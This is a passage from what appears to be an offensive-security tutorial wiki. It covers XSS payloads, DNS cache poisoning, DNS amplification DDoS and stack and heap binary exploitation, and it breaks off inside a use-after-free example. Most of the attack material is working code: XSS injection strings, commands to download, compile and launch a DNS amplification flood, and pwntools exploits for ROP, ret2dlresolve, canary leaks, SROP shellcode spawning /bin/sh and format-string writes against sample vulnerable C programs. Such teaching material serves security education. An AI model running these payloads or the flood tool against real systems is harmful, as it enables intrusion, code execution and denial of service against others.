Another possible injection point for XSS is within attributes located in an existing HTML tag. To exploit such vulnerabilities, one needs to terminate the attribute they are injecting in by inserting a double quotes character ("). For example:

"><script>alert(1);</script>

However, brackets are usually filtered or encoded in such contexts and so one cannot terminate the actual tag and insert new ones. Nevertheless, if one can terminate the attribute value with ", they can usually insert additional attributes into the tag, which can still lead to XSS, typically through events:

" src=1 onerror=alert(1) 

Any attributes which expect a URI can themselves provide a scriptable context which means that JavaScript can be executed without terminating the attribute. This is done by dint of the javascript pseudo protocol:

javascript: alert(1)

A list of these attributes and the tags that can contain them can be found here.

XSS in JavaScript

Sometimes, the injection point is within an already existing pair of script tags. This usually happens within string literals such as in the following case.

var input = 'user input';

Therefore, before injecting code, one needs to first terminate the string literal. Moreover, one must also repair the script lest syntax errors preclude the execution of the entire code block. This can be achieved via on of the two following ways:

'-alert(1);//'
';alert(1);//'

Some applications try to prevent this by escaping any single-quote characters with a backslash which tells the interpreter to treat the character literally rather than as a special character (in this case a string literal terminator). However, these often forget to escape the backslash character itself. This means that the backslash inserted by the application can be nullified by placing a backslash in the payload:

\'alert(1);//

The application will convert this to \\'alert(1);// and the two backslashes will neutralise each other.

Prevention

Encoding Data on Output

This is the first line of defence against XSS attacks. User input should be correctly encoded directly before it is written to the output page. The reason for this is that different contexts require different encoding strategies.

In an HTML context, non-whitelisted values should be converted into HTML entities:

• < -> <
• > -> >

By comparison, a JavaScript context requires URL encoding:

• < -> \u003c
• > -> \u003e

Sometimes, such as in HTML attributes, multiple layers of encoding might be necessary and they should also be applied in the correct order. For example, safely embedding user input into an event handler attribute first necessitates HTML encoding and then JavaScript encoding.

In PHP

PHP has a nice function called htmlentities which can be used when escaping user input within an HTML context. It takes three arguments:

• The input string.
• ENT_QUOTES - a flag signifying that all quotes should be encoded.
• The character set - most commonly UTF-8.

Here is a sample invocation:

`<?php echo htmlentities($input, ENT_QUOTES, 'UTF-8');?>`

Unfortunately, PHP does not provide an API for Unicode-encoding a string, so escaping user input in a JavaScript context has to be done manually.

In JavaScript

JavaScript does not provide APIs for either HTML or Unicode encoding. Therefore, these must be manually implemented. The same holds for the jQuery framework.

Content Security Policy (CSP)

Content Security Policy (CSP) is a mechanism used to mitigate XSS. It works by restricting the source of the various resources (such as scripts and images) that a page uses. For CSP to be enabled, the HTTP response of the server has to include a Content-Security-Policy header followed by the actual CSP, which is a semicolon-separated list of one or more directives.

The following directive will only allow scripts to be loaded if they originate from the same source as the page itself:

script-src 'self'

One can also whitelist specific external domains as allowed sources:

script-src https://scripts.example.com

These two directive have equivalents for the sources of images:

image-src 'self'
image-src https://images.example.com

One should proceed cautiously when whitelisting domains because if an adversary can obtain a way to upload content to that domain, then they can bypass CSP.

DNS

Introduction

A flaw of all DNS name servers is that if they contain incorrect information, they may spread it to clients or other name servers. Each DNS name server (even individual clients) has a DNS cache. The system stores there information about any responses it gets for domains it requested. An attacker could inject false entries in this cache and as such, any computer which queries the poisoned name server will receive false results. This is known as DNS cache poisoning.

The attack can be used to redirect users to a different website than the requested one. As such, it opens opportunities for phishing attacks by creating evil twins of login portals for well-known sites.

A tool for performing such targeted attacks is deserter. Usage information is available on its GitHub page.

What is DNS Traffic Amplification?

A DNS (Traffic) Amplificaton attack is a popular form of a distributed denial of service (DDoS) attack, which abuses open DNS resolvers to flood a target system with DNS response traffic. It's called an amplification attack because it uses DNS responses to upscale the size of the data sent to the victim.

How does it work?

An attacker sends a DNS name lookup to an open resolver with the source IP spoofed to be the victim's IP address. That way, any response traffic would be sent to the victim and not the attacker. The requests submitted by the attacker usually aim to query for as much information as possible in order to maximise the amplification effect. In most cases, the queries sent are of type ANY which requests all known information about a particular DNS zone. Using a botnet, it's easy to create immense amounts of traffic. It is also rather difficult to protect against these attacks because the traffic is coming from legitimate sources - real DNS servers.

Conducting a DNS Traffic Amplification Attack

Testing a DNS server for attack surface

We should first check if a DNS Traffic Amplification is possible and if it's viable. We can do this through Metasploit using the module auxiliary/scanner/dns/dns_amp.

In the RHOSTS you need to put the IP of the name server you want to test. This module will tell you if a name server can be used in an amplification attack but won't actually execute the attack.

Run the scanner:

Executing the attack

A simple tool is available only as a proof of concept here. You will need to download and then compile it:

wget https://raw.githubusercontent.com/rodarima/lsi/master/entrega/p2/dnsdrdos.c

gcc -o dnsdrdos dnsdrdos.c -Wall -ansi

┌──(cr0mll@kali)-[~/MHN/DNS]-[]
└─$ wget https://raw.githubusercontent.com/rodarima/lsi/master/entrega/p2/dnsdrdos.c
--2021-09-21 13:01:11--  https://raw.githubusercontent.com/rodarima/lsi/master/entrega/p2/dnsdrdos.c
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.111.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15109 (15K) [text/plain]
Saving to: ‘dnsdrdos.c’

dnsdrdos.c                                                  100%[========================================================================================================================================>]  14.75K  --.-KB/s    in 0.001s  

2021-09-21 13:01:11 (17.9 MB/s) - ‘dnsdrdos.c’ saved [15109/15109]

┌──(cr0mll@kali)-[~/MHN/DNS]-[]
└─$ gcc -o dnsdrdos dnsdrdos.c -Wall -ansi

Now, create a file containing the IP's of each DNS server you want to use in the attack (only one IP per line). Use the following syntax to run the attack:

sudo ./dnsdrdos -f <dns servers file> -s <target IP> -d <domain> -l <number of loops through the list>

┌──(cr0mll@kali)-[~/MHN/DNS]-[]
└─$ sudo ./dnsdrdos -f dns_servers -s 192.168.129.2 -d nsa.gov -l 30
-----------------------------------------------    
dnsdrdos - by noptrix - http://www.noptrix.net/    
-----------------------------------------------

┌──(cr0mll@kali)-[~/MHN/DNS]-[]
└─$

The output may be empty, but the packets were sent. You can verify this with wireshark:

Binary Exploitation

Stack Exploitation

Stack exploitation is the art of corrupting stack memory in order to alter a programme's behaviour in a malicious manner. This chapter assumes prior knowledge of the stack which is covered by this Cyberclopaedia article.

Introduction

This is a highly sophisticated attack which leverages the way dynamic library functions are resolved at runtime in order to resolve an arbitrary procedure and invoke it.

To understand the following content, knowledge of dynamic linking with ELF files is necessary.

Theory

It is possible to use _dl_resolve to call any external function by creating a fake relocation table, symbol table, string table, and GOT. _dl_resolve performs no upper boundary checks on the relocation argument, which means that we can make it arbitrarily large and thus point it to our fake relocation table. From there, we can do the same with the rest of the offsets. It does, however, check a few other things which we will need to work around.

Because of the checks that _dl_resolve performs, the r_info must be divisible by 0x18. The distance between the real symbol table and our fake one must be divisible by 0x18 and fit in 32 bits after this division. This practically prevents us from using the stack on 64-bit systems to store our fake tables and we will need to utilise the .bss section, which is closer to the real symbol table in the executable. Additionally, r_info must end in 0x7.

For the sake of simplicity, all of the fake tables will only contain one entry. Once we have the fake symbol table set up, we need to set st_other to 0 and st_name to the distance between the real string table and our fake one, which can in this case be a single null-terminated string. Next, r_info must be populated with (( RealToFakeSymbolTableOffset / 0x18 ) << 32 ) | 0x7, where RealToFakeSymbolTableOffset is the 0x18 aligned distance between our fake and real symbol tables. Do not worry about all the bit-wise operations - these are taken care of by a few macros in _dl_resolve. r_offset on the other hand, must contain the distance between our fake global offset table and the ELF header.

The relocation argument should store the offset between the start of the real relocation table and the beginning of the fake relocation table divided by the size of one relocation entry and should be put at the top of the stack. Consequently, if gaining code execution through a stack buffer overflow, the relocation argument should follow the malicious return address.

Exploitation

#include <stdio.h>
#include <stdlib.h>

char message[128];

void SendMessage()
{
	char sender[20];
	
	printf("Enter the message: \n");
	fgets(message, 128, stdin);
	
	printf("Enter the sender name: \n");
	fgets(sender, 0x40, stdin);
}

int main()
{
	SendMessage();		
	printf("Message sent!");
	return 0;
	
}

Manually performing this exploit can be rather extremely cumbersome. Anyway, the fake tables should be set in the following way:

Relocation argument:

• reloc_arg = (FakeRelocationTable - RealRelocationTable) / sizeof(Relocation Entry)

• must be divisible by the size of the relocation entry:

  • Elf32_Rel : 8 bytes
  • Elf32_Rela: 12 bytes
  • Elf64_Rel: 16 bytes
  • Elf64_Rela: 24 bytes

Fake relocation table:

• r_offset = FakeGOT - ElfHeader
• [+0x8] r_info = (( (FakeSymbolTable - RealSymbolTable) / 0x18 ) << 32 ) | 0x7
  • the distance between the fake and the real symbol table must be divisible by 0x18, so padding might be required
• [+0x10] r_addend = 0 (doesn't matter)

Fake symbol table:

• [+0x18] st_name = FakeStringTable - RealStringTable
• [+0x20] st_info = 0 (doesn't matter)
• [+0x21] st_other = 0

Fake string table:

• [+0x22] function name = system\x00 (or any other function)

The above offsets are from the beginning of the fake relocation table and are suited to x64. You will have to change them for x86 based on the size of the struct fields.

For any arguments you want to pass to the function, you will either need to use shellcode in your initial payload buffer or utilise ROP.

Consequently, the payload for the message is "\x00\x00\x00\x00\x00\x00\x00\x00\x99\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x88\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x42\x42\x42\x42\x42\x42\x42\x42\xda\x3b\x00\x00\x00\x00\x00\x00\x00\x00abort\x00"

The actual buffer that will be overflowed is the sender buffer the payload for it looks like this: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x30\x50\x55\x55\x55\x55\x00\x00\x6d\x02\x00\x00\x00\x00\x00\x00" The last bytes are the value of the relocation argument and the ones before are the address of PLT0.

Indeed, running this exploit results in the programme's abortion through the abort function (you can check by the exit code).

from pwn import *

program = process("./dl_resolve")

print(program.recvlineS())
program.sendline(b"\x00\x00\x00\x00\x00\x00\x00\x00\x99\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x88\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x42\x42\x42\x42\x42\x42\x42\x42\xda\x3b\x00\x00\x00\x00\x00\x00\x00\x00abort\x00")

print(program.recvlineS())
program.sendline(b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x30\x50\x55\x55\x55\x55\x00\x00\x6d\x02\x00\x00\x00\x00\x00\x00")

program.interactive()

The abort procedure takes no arguments which made manual exploitation easier, however, when you want to invoke a function with parameters, such as system, you will need to either execute additional shellcode before jumping to PLT0, or build a ROP chain.

Introduction

An essential memory structure in many programmes is the buffer. It is simply a container for information - an array. This in itself is no threat to the programme, however, certain functions which deal with buffers are unsafe. Functions that write to buffers may overflow the buffer - that is, write to memory outside of the buffer, since the function usually doesn't have a way to infer the size of the buffer and therefore stop once it reaches it. Moreover, even a function is provided with a size up to which to write and then cease execution, this can still result in a buffer overflow, if there is a mismatch between the given and actual size of the buffer.

Buffer overflows are one of the most common vulnerabilities and can be especially dangerous if they happen on the stack, since they typically allow for easy code execution. This happens when writing outside the buffer and overwriting the procedure's return address.

Generally, any function which deals with buffers should be considered unsafe and scrutinised when looking for holes in a binary. That being said, there are certain functions which are appalling and you should never use them in your code, since they don't even take in a buffer size, but rather just do their work indefinitely or until some condition is satisfied (such as reaching a null-byte). These include gets, strcpy, strcat, sprintf, and more.

Exploiting a Buffer Overflow

#include <stdio.h>

void win()
{
	printf("Pwned!\n");
}

void vuln()
{
	char buffer[32];
	fgets(&buffer, 0x32, stdin);
}

int main()
{
	vuln();
}

To illustrate that even functions which take a size can still be dangerous when dealing with buffers, I have chosen the fgets function. If you don't have an attentive eye, you might tell yourself "But what's the matter? The size which fgets takes matches the actual size of the buffer, so no vulnerability here." Not so fast. Upon taking a closer look, you see that the size in fgets is actually 0x32. The 0x means that this is a hexadecimal number and 0x32 in hex is actually equal to 50 in decimal which is 18 bytes more that 32. Consequently, there is a buffer overflow.

fgets begins writing data at the start of the buffer and continues upwards. Given enough data to write, it will eventually reach and overwrite the return address, resulting in code execution when the vuln function returns. We now need two things to exploit the vulnerability - the address of the win function, which is fairly easy to get given disabled ASLR and gdb, and the offset from the beginning of the buffer at which vuln's return address is stored. Note that this is rarely just the size of the buffer, since other stuff may precede our buffer on the stack.

Using De Brujin sequences to identify the offset

A De Brujin sequence of order n is simply a sequence of characters in which every possible substring of size n occurs exactly once. A more mathematically rigorous explanation you can find at https://en.wikipedia.org/wiki/De_Bruijn_sequence.

De Brujin sequences are very powerful, since we can generate such a string and pass it as input to the programme. When the return address is overwritten, it will contain garbage (the sequence of characters inside of it may look like aaaaaaab, which is most likely an invalid return location) and so the programme will crash. Once it crashes, we can inspect the return address with a debugger and look up its position in the original sequence. This, therefore, provides us with the offset.

gef, a gdb extension, provides useful tools exactly for this purpose. You can generate a pattern with pattern create --period [order] [length]

Pass this sequence as input to the programme and observe the return address when it crashes:

Look at what $rsp points to - faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala. We can search for this string in the original pattern like so:

Bingo, the return address is stored at offset 40 - 1 from the beginning of buffer. Ergo, before writing the address of win, 39 characters are needed. You might notice that this is according to big-endian search, but my architecture is actually little-endian. Why does this work then? Honestly, I have no clue. Perhaps it's a visual bug with gef, since if you look at their documentation, pattern search is actually supposed to output two outputs - one for a little-endian and one for a big-endian search.

Finding the address of win

For the sake of simplicity, I have disabled ASLR, meaning we can just grab the address through gdb. This turns out to be 0x5555555551a9.

Exploit

With this information, we can exploit the buffer overflow:

Shellcode Attacks

When a binary is compiled with NX disabled, it means that instructions can be executed directly off the stack. This means that an adversary may write to the stack the assembly instructions they want to be executed in the form of bytes and then take advantage of some code redirection technique (such as the buffer overflow described above) in order to point the instruction pointer to the beginning of their malicious code. The bytes that they inject onto the stack are referred to as shellcode.

Introduction

Return-oriented programming is a set of techniques which allow code execution and bypass data execution prevention defences, such as NX, and code signing. ROP utilises gadgets in order to build chains and execute arbitrary instruction sequences.

Given control over the stack, an attacker may fill it with malicious return addresses, all pointing to the subsequent gadget in the ROP chain. When one gadget is executed, the ret instruction jumps to the address stored at the top of the stack and the stack pointer is incremented. Consequently, the stack pointer now points to the next malicious return address, forming a chain of gadgets.

Gadgets

ROP gadgets are tiny instruction sequences which are already found in the target binary and end in a ret instruction. To manually find them within a binary, one might use a tool called ROPgadget with the following basic syntax:

ROPgadget --binary [binary name]

Exploitation

#include <stdio.h>
#include <stdlib.h>

void func()
{
	system("echo 'An inconspicuous echo...'");
}

void vuln()
{
	char input[20];
	fgets(input, 0x60, stdin);
}

int main()
{
	char* HarmlessString = "echo pwn";
	vuln();
	func();
	return 0;

}

We immediately notice a potential buffer overflow. Since system is called in the execution process of the binary, it will have a corresponding PLT entry. Furthermore, the string "/bin/sh" has been conveniently place in the binary - If we had the proper gadgets, we could string together a ROP chain, allowing us to execute system("/bin/sh"). Well, let's start digging.

Running ROPgadgets on the above binary reveals a way to write to rdi! 0x000000000000126b : pop rdi ; ret

Consequently, we can just write the address of the "/bin/sh" string in the binary, place it on the stack and, when the time comes, rdi will be populated with this address. All we will then need to do is return to the PLT entry of system, so that the function is invoked with the correct argument!

The addresses we need turn out to be:

0x555555555040 - PLT entry of system 0x55555555526b - pop rdi; ret gadget 0x555555556028 - "/bin/sh" 0x5555555551ff - the address we want to continue execution from once the ROP chain is finished

Knowing that we need exactly 40 character to overflow the return address of vuln, we get the following payload.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x6b\x52\x55\x55\x55\x55\x00\x00\x28\x60\x55\x55\x55\x55\x00\x00\x40\x50\x55\x55\x55\x55\x00\x00\xff\x51\x55\x55\x55\x55\x00\x00

Input file:

And... exploit!

Exploiting with pwntools

pwntools comes with tools for automating the process of finding gadgets and stringing them into chains for exploitation.

You will first need to load the ELF executable and specify its base address:

elf = ELF('./rop')
elf.address = 0x555555554000

Subsequently, initialise a ROP object:

rop = ROP(elf)

Pwntools ROP commands

Get a dictionary of available gadgets:

rop.gadgets

Insert raw bytes into the chain:

rop.raw(bytes)

Call functions:

rop.call(symbol, [arguments])

Get chain as bytes:

rop.chain()

The Exploit

Using the above cheatsheet, we arrive at the following python script for exploitation:

#!/usr/bin/python3

from pwn import *

context.clear(arch='amd64')
elf = ELF('./rop')
elf.address = 0x555555554000

rop = ROP(elf)
rop.call(elf.symbols['system'], [next(elf.search(b"echo pwn\x00"))])

prog = process('./rop')

payload = [b"A"*40, rop.chain()]
payload = b"".join(payload)

prog.sendline(payload)
prog.interactive()

Stack Canaries

A stack canary is a value which the compiler may insert right before the stored base pointer on the stack. When a function is about to return to its caller, the canary is checked for modifications and if it is found to have been changed during the programme's execution, the executable deliberately aborts.

There are 3 main types of canaries:

• Random: a random value generated when the programme is run and remains unchanged throughout its execution
• Terminator: a special value which is made up of bytes representing well-known bad characters (such as 0x00, 0xaf and ) that aim to prevent canary bypasses by terminating input functions
• XOR: a random value XOR-ed with the current saved base pointer which makes the canary unique for every function

In Linux, the canary is generated each time execve() is called and is stored at an offset of 0x28 from the FS register. Additionally, the last byte of Linux canaries is always 0x00, so they are actually a mixture of a terminator and a random canary. Unfortunately, this distinction also makes them quite easy to spot.

Bypassing Canaries

There are two main ways of bypassing canaries.

Leaking the Canary

The first way is to leak the canary, for example by exploiting a format string vulnerability.

#include <stdio.h>
#include <string.h>

void deleteDB() {
    puts("Database deleted.");
}

int main() {
    char buffer[64];

    puts("Enter name: ");
    gets(buffer);
    printf(buffer);

    puts("\nEnter age: ");
    gets(buffer);
    puts("Database updated.");
}

When we execute the programme, we can abuse the format string vulnerability in printf(buffer); to leak data from the stack like so:

The highlighted string looks awfully like a canary. We count that this is the 35th value on the stack and so we can check it a few more times just to be sure.

Indeed, it appears to be a random value but always ends in 0x00. Now that we can leak the canary, we can include it in our buffer overflow at the approriate position and when we would have essentially left the canary unchanged since we would overwrite it with its original value. Now we are ready to prepare our exploit:

#!/usr/bin/python3

from pwn import *

p = process('./canary')

p.recvline() # receive the 'Enter name: ' line
p.sendline("%35$p") # exploit the format string

canary = int(p.recvline(), 16)

exploit = b'A' * 0x48 # overflow the buffer
exploit += p64(canary) # add the canary
exploit += b'A' * 0x8 # padding to the return address (overwriting the saved base pointer)
exploit += p64(0x401156) # address of deleteDB

p.recvline() # receive the 'Enter age: ' line
p.sendline(exploit)

print(p.clean().decode('latin-1'))

Bruteforcing the Canary

This technique abuses the fact that processes which are fork-ed from the same process will all share the same canary. This attack, however, is only really feasible on 32-bit machines, since the canary there is 32 bits long.

Sigreturn-Oriented Programming (SROP)

This is a technique which can be used when there are few or not particularly useful gadgets. It requires only 2 gadgets: a way to manipulate rax and a syscall. The trade-off, however, is that it requires a bigger overflow depending on what you want to achieve.

When a signal occurs in Linux, the kernel stores the state of the process by constructing a Signal Frame on the stack. Once the signal has been processed, the rt_sigreturn syscall is envoked to restore the process's state from the stack. rt_sigreturn, however, does not check whether or not the state it is restoring from the stack is the same as the state that the kernel pushed onto it. Usually, this is not a problem because rt_sigreturn is never called without a signal having been processed - the syscall for it in libc is actually defined to just return an error code. Interestingly enough, there are also no protection mechanism to ensure that rt_sigreturn is called only after a signal has been processed which means that nothing is stopping an adversary from calling it and modifying the process's state by manipulating what is on the stack.

The Signal Frame

The signal frame represents the state of a process which is backed up onto the stack when a signal needs to be handled and has the following format:

When rt_sigreturn is invoked, the top 248 bytes of the stack will be restored into the above locations.

The Exploit

Consider the following programme:

The highlighted code allows an adversary to read 768 bytes into a buffer of size only 32, which results in a buffer overflow. In order to trigger the buffer overflow, we can inspect the code and calculate (alternatively you can fuzz the programme) the number of padding bytes which we will need - this turns out to be 40. Since the NX is enabled, we will need to build a ROP chain. Unfortunately, there is a little snag - there are barely any gadgets available.

So we will have to be more sophisticated and use Sigreturn-oriented programming. We see that there is a readily-available syscall gadget, but there is no straightforward way to manipulate the rax registered which is needed for issuing syscalls.

Upon further inspection, the loc.write procedure invokes sys_write which is lucky for us because if sys_write is successful, it returns the number of characters written in rax. Now that we know how to manipulate rax, we turn our attention to the construction of our ROP chain.

The ROP chain begins by invoking loc.vuln again, so that it may in turn invoke loc.write. Once loc.vuln is called, the programme will ask us for input. We need to send 14 characters (the 15-th being the \n at the end) to it, so that loc.write can then print those 15 characters and set rax equal to 15 as a result. Once these characters have been written, loc.vuln will return execution to our ROP chain. Since rax now contains the syscall number of rt_sigreturn, namely 15, the next instruction in the ROP chain should be syscall.

rt_sigreturn will take the top 248 bytes of the stack and attempt to restore the state of the process from them. This means that all registers will be overwritten with values from the stack. Since we control what is on the stack via the buffer overflow, we also control what gets put into those registers. Therefore, the payload for the ROP chain should also contain an artificial signal frame after the syscall instruction, which will be the top of the stack.

From here on, all that is left is figuring out a quick way to get a shell. I have opted for some shellcode which invokes execve with "/bin/sh". To do this we need to use sys_mprotect to change the permissions of a memory region to read-write-execute. Therefore, the registers inside our malicious signal frame should contain the following values:

• rax - 0xA (the number for the sys_mprotect system call)
• rdi - the beginning of the memory region whose permissions we want to change
• rsi - the size of the memory region
• rdx - 0x7 (RWX permissions)
• rip - the address of the syscall gadget

Now, it would have been nice if we had a way to preserve the value of the stack pointer, but that is not possible. Since we are forced to overwrite it, however, we might as well make do with what we can. We have no way of referring to the stack prior to rt_sigreturn, so we will just invent a new one!

In order to achieve this, we need to find a location in memory which contains the address of loc.vuln, even if it does so only coincidentally. The reason for this is that, after rt_sigreturn finishes, rip will be set to the syscall gadget which will execute sys_mprotect. The instruction after the syscall is a ret which means that the value of the location pointed to by rsp will be copied to rip, and we want it to then proceed again with the execution of loc.vuln. Hence why rsp should contain a pointer to the address of loc.vuln.

Now that memory is executable, we proceed by exploiting loc.vuln yet another time in order to execute the shellcode which spawns a shell.

With this information we can construct an exploit using pwntools:

from pwn import *

context.clear(arch='amd64')

p = process("./srop")

syscall_address = 0x401014 # &syscall
sigreturn_number = 0xF
mprotect_number = 0xA
mprotect_permissions = 0x7

vuln_address = 0x40102e # &loc.vuln()
pointer_to_vuln_address = 0x4010d8 # &&loc.vuln() - using a debugger, I found that this location contains 0x40102e at runtime

padding = b'A' * 40

signal_frame = SigreturnFrame(kernel="amd64")
signal_frame.rax = mprotect_number
# It does not matter what memory we make RWX, but for simplicity, we are just going to make a huge chunk from the beginning of the binary executable. We just need to make sure that the new stack will be contained in it.
signal_frame.rdi = 0x400000 # Beginning of the memory block (in this case, the binary)
signal_frame.rsi = 0x10000 # Size of the memory block
signal_frame.rdx = mprotect_permissions
signal_frame.rip = syscall_address # This will proceed to execute sys_mprotect
signal_frame.rsp = pointer_to_vuln_address # Beginning of the new stack

payload = padding + p64(vuln_address) + p64(syscall_address) + bytes(signal_frame)
p.sendline(payload)
p.recv()

# Send 15 characters (14*'A' + '\n')
p.sendline(b'A' * (sigreturn_number - 1))
p.recv()

# Remove the comments in the assembly in order for it to compile
shellcode = asm("""
mov rdi, 0x68732f6e69622f ; '/bin/sh\x00' in little-endian
push rdi
mov rdi, rsp
mov rax, 0x3b ; execve syscall number
xor rsi, rsi
xor rdx, rdx
syscall
""", arch="amd64")

# The stack pointer will be moved 40 bytes down and the padding will take those 40 bytes, reaching pointer_to_vuln_address. We then add 1 byte for the value contained at pointer_to_vuln_address itself and then add 1 more byte to make room for the actual shellcode_address.
shellcode_address = pointer_to_vuln_address + 0x10

payload = b'A'*40 + p64(shellcode_address) + shellcode
p.sendline(payload)

p.interactive()

Introduction

The C language provides certain functionality for converting variables into human-readable strings. This can be seen in functions like printf. For example, the following code will combine the string "Printing the magic number... The magic number is " with the number stored in a.

int a = 2;
printf("Printing the magic number... The magic number is %d\n.", &a);

The first argument is called the format string and %d is known as a format parameter. When using a variable as a format argument, you need to pass its address. There also exist multiple format parameters:

When printf is invoked, it goes backwards from the beginning of its stack frame through the stack in order to retrieve its arguments one by one. If a format string is specified but no actual arguments are pushed to the stack before the function is invoked, for every format parameter printf will go backwards through the stack. This will lead to the erroneous interpretation of stack memory and can lead to memory leaks. Furthermore, the %n format parameter can be utilised for writing arbitrary memory by manipulating the pointer into which it should store the number of bytes written so far. Consequently, format string vulnerabilities can beget arbitrary code execution by overwriting the GOT.

The Essence of a Format String Vulnerability

Format string vulnerabilities occur when the format string of a function such as printf is passed directly as a buffer which can be manipulated by an attacker. The buffer itself may contain format characters which can be abused in arbitrary ways.

char input[100];
scanf("%100s", input);

printf(input);

This code is abominable, since the input buffer is entirely controlled by the user. If any format parameters are included in the buffer, printf will treat them accordingly and this can result in all sorts of mishaps. The correct way to implement such code is to actually pass the user input as a format argument to a format string in printf:

char input[100];
scanf("%100s", input);

printf("%100s", input);

Leaking Memory

Format string vulnerabilities can be easily exploited to leak memory on the stack. This is typically done through the use of the %p or %x format parameters. Filling a format string with those parameters will continuously leak stack memory. Sometimes, however, the buffer we are writing to doesn't have enough space to store enough parameters for us to reach the value we want to leak. Luckily, C has some syntax sugar which allows us to retrieve a particular argument. This is done by using %n$parameter, where n is the number of the argument we want to access and parameter is the format parameter we want to use. Consequently, if we want to print the third value on the stack as a pointer, we would use %n$p.

Here is a simple example of such an attack.

leaking_memory.c:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{

int input = 0;
int key = 0xdeadbeef;
char message[100];

printf("Enter a message to be sent:\n");

fgets(message, sizeof(message), stdin);

printf("The following message will be sent: \n");
printf(message);

printf("Enter the secret key in order to send the message. \n");
scanf("%d", &input);

if (input == key)
{
	printf("Message successfully sent!\n");
}
else
{
	printf("Failed to send message!\n");
}


return 0;
}

Moreover, it is possible to specify exactly how many bytes we want to leak.

Writing Arbitrary memory

The %n format parameter can be used to write to arbitrary memory. Recall that it takes a pointer a pointer as its argument, but where does it get this pointer from? Well, just as any other argument, this pointer is retrieved from the stack. But wait a minute... In i386 and amd64 function arguments are pushed to the stack before a procedure is invoked. Consequently, we can write any value to the stack by including it in the format string, navigating to this value with %x or %p and then just put a %n to treat this value as a location and write to it. As a shortcut, we can use the %parameter$n to choose a particular value on the stack to treat as a pointer.

However, writing a large value would require a lot of characters before %n. Luckily, we can print those with a shortcut. Before %n we need to insert %<value>x and this will write value characters to the screen.

writing_memory.c:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target = 0xdeadbeef;

int main(int argc, char *argv[])
{
	char buffer[64];

    fgets(buffer, 64, stdin);
    printf(buffer);

    if(target == 0xdeadc0de) 
    {
      	printf("Pwned!\n");
    	return EXIT_SUCCESS;
	} 
	else 
	{
  	  	printf("Try again.\n");
  	  	exit(EXIT_FAILURE);
  	}
}

Upon looking at this code, we immediately notice the potential for a format string vulnerability. We need to somehow overwrite the target variable and change its value to 0xdeadc0de. This can be done through %n, but requires the address of target. You might need to use some type of leak to do this, but as an example I will use gdb, which on my machine tells me that target is located at 0x555555558048.

Since this address will be included in the format string, the location of the beginning of the format string on the stack must be found. This can be done through some light fuzzing by putting, for example, a string of As in the beginning and then following it up with %xs until the repeating As are reached. The final cound to %x that have been used is the number of the argument.

Consequently, the beginning would be the 8th argument. Thus, it is possible to calculate the argument number for the address included in the string.

We now have the address we want to write to, all that is needed is to set up the value we want to write. This means that we have to find a way to print a number of 0xdeadc0de bytes before %n. One would be crazy for thinking that actually inserting so many bytes into the buffer is even possible. The trick here is to use specify the number of characters we want to pad %n with by using %x like so - %<padding>x%<argument>$n. Even still, the value is too large to be printed in a reasonable time. Here we are allowed to buck the system by splitting the value at the middle like so dead and c0de and just writing two short integers rather than one huge integer. Ergo, 0xdead should be written at 0x555555558048 + 2 = 0x55555555804a, whereas 0xc0de should be placed at 0x555555558048.

The amount of padding is given by the following formula: <The value needed> - <Bytes already written>

It is now possible to proceed. Let's commence with the least significant bytes - 0xc0de (49374 in decimal). It is best if the address where we want to write to is put at the end of the string, since the internal stack pointer of printf only works with 8-byte displacements and, consequently, any address must have its leading 0s until it takes up the entire 8 bytes. Additionally, a certain number of non-zero bytes may need to be inserted before the address in the format string for further alignment purposes.

To simplify matters here, both 0xdeadc0de and 0xdeadbeef begin with the same bytes, so we need only overwrite the last ones. If that were not the case, one would simply have to chain multiple paddings with multiple %n format parameters. Therefore, our format string should be the following:

"%49374x%<argument>$n<padding bytes><zero-extended address>"

The argument number may from system to system and you have to either bruteforce it or calculate it using a debugger like gdb. I have calculated it be 10. You may need further padding bytes and the number of bytes has to either again be bruteforced or calculated. Any addresses to write to should be placed at the end of the string to avoid premature null-termination. Our final string looks like this:

"%49374x%10$hnAAA\x48\x80\x55\x55\x55\x55\x00\x00"

The h before the n just tells printf to write a short instead of an int (Remember that we are only overwriting the last two bytes).

I have now created a file called input which contains the following bytes:

Piping this file into the programme results in the overwriting of the target variable!

Heap Exploitation

Exploitation techniques for the heap are different from those which work on the stack. In general, heap exploitation is more difficult and warrants creativity in order for an attack to be successful.

Heap exploitation usually relies on the already implemented logic of a binary and abuses it by providing the program with malicious data. A very common attack goal is to force the program to allocate two structs at the same memory, thereby corrupting them and possibly overwriting any function pointers or causing further overflows on the stack.

Another common technique is to force the heap manager to allocate and write to memory that is actually outside the heap, possibly overwriting the GOT or even just replacing blank return addresses.

Introduction

A use-after-free vulnerability occurs when we are allowed to write to an already freed chunk as if it were still a valid allocation. The next time malloc is invoked with that particular chunk size, a pointer to the same memory where the previously freed chunk was will be returned. This means that the now in-use chunk actually has the malicious data we put into that memory.

Such vulnerabilities occur when a pointer to heap memory is freed, but that pointer is still used afterwards.

Writing to the free chunk also allows for messing with the linked lists pointers. Overwriting the fwd pointer with a value that points outside the heap can result in the modification of arbitrary memory.

Example

use_after_free_logic.c:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

struct User
{
	char Username[32];
	int IsLoggedIn;
};

struct Service
{
	char Name[32];
	int IsEnabled;
};

int main(void)
{
	char input[128];
	struct User* user = NULL;
	struct Service* srv = NULL;
	
	while(1)
	{
		printf("\nType 'register [username]' in order to create a new user.\n");
		printf("Type 'login' to login as a user. \n");
		printf("Type 'service [name]' to create a new service. \n");
		printf("Type 'logout' to log out of the current user. \n");
		
		if(fgets(input, sizeof(input), stdin) == NULL) break;
		
